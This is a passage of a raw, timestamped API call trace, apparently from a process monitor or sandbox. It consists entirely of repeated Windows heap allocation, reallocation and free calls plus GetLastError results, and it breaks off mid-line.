1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.287] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ef30, Size=0xe8) returned 0x33d11a0 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.288] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d11a0, Size=0x120) returned 0x2c374c0 [0076.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0076.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x78) returned 0x33f6b20 [0076.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b20 | out: hHeap=0x2ad0000) returned 1 [0076.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183c20 [0076.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183840 [0076.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c20 | out: hHeap=0x2ad0000) returned 1 [0076.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851a8 [0076.290] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c851a8, Size=0x20) returned 0x3028558 [0076.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x377) returned 0x34b7df8 [0076.290] GetLastError () returned 0x0 [0076.291] GetLastError () returned 0x0 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ad400 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c851d8 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85190 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85250 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85058 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85178 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c851c0 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b80 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85220 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c852b0 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85130 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85160 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c850e8 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85268 | out: hHeap=0x2ad0000) returned 1 [0076.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85298 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839e0 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85148 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85040 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85028 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85100 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85118 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c852e0 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85280 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c850d0 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ff8 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85010 | out: hHeap=0x2ad0000) returned 1 [0076.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85130 [0076.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ff8 [0076.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8dbd0 | out: hHeap=0x2ad0000) returned 1 [0076.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.293] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361eb00, Size=0x941) returned 0x34b8178 [0076.293] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x34b8178, Size=0xf9a) returned 0x34b8178 [0076.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b8178 | out: hHeap=0x2ad0000) returned 1 [0076.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.293] GetLastError () returned 0x0 [0076.293] GetLastError () returned 0x0 [0076.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.294] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85058, Size=0x10) returned 0x2c85220 [0076.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85040 [0076.294] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ff8, Size=0x10) returned 0x2c85130 [0076.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c850d0 | out: hHeap=0x2ad0000) returned 1 [0076.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0076.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85298 [0076.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85220, Size=0x10) returned 0x2c85250 [0076.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85160 [0076.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85130, Size=0x10) returned 0x2c852e0 [0076.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85298 | out: hHeap=0x2ad0000) returned 1 [0076.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de738 [0076.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84ff8 [0076.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.296] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85250, Size=0x10) returned 0x2c85220 [0076.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c850a0 [0076.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85160 | out: hHeap=0x2ad0000) returned 1 [0076.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ff8 | out: hHeap=0x2ad0000) returned 1 [0076.297] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85220, Size=0x10) returned 0x2c85208 [0076.297] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85238, Size=0x10) returned 0x2c85088 [0076.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c850a0 | out: hHeap=0x2ad0000) returned 1 [0076.297] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85208, Size=0x10) returned 0x2c850a0 [0076.297] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85088, Size=0x10) returned 0x2c85238 [0076.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.297] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c850a0, Size=0x10) returned 0x2c851d8 [0076.297] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85238, Size=0x10) returned 0x2c85178 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851c0 [0076.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c851f0 | out: hHeap=0x2ad0000) returned 1 [0076.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0076.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85280 [0076.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85238 | out: hHeap=0x2ad0000) returned 1 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de758 [0076.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 